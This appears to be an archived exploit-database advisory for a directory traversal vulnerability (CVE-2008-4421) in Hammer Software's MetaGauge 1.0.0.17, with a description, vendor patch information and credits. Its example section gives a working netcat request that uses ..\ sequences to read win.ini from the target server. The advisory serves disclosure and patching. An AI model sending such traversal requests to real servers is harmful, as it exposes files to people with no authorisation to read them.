Hammer Software MetaGauge 1.0.0.17 - Directory Traversal

Author: Brad Antoniewicz
type: remote
platform: windows
port: 
date_added: 2008-10-05 
date_updated: 2017-10-06 
verified: 1 
codes: OSVDB-48945;CVE-2008-4421 
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application_url: http://www.exploit-db.commetagauge.zip

Title: MetaGauge 1.0.0.17 Directory Traversal

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Vendor: Hammer Software

Vendor URL: www.Hammer-Software.com

Vendor Response: Vendor has been notified and has since addressed the issue in the latest software release.

Description:

A directory traversal vulnerability exists in MetaGauge version 1.0.0.17 (and potentially below) which allows a remote user to view files local to the target server.

Example:

C:\> nc targethost 2004
GET /..\..\..\..\..\..\winnt\win.ini HTTP/1.1


Patch Information:

Hammer has addressed the issue in the latest version of MetaGauge:

http://dl.hammer-software.com/metagauge.zip

CVE:  CVE-2008-4421

Credit:

Brad Antoniewicz

brad.antoniewicz@foundstone.com

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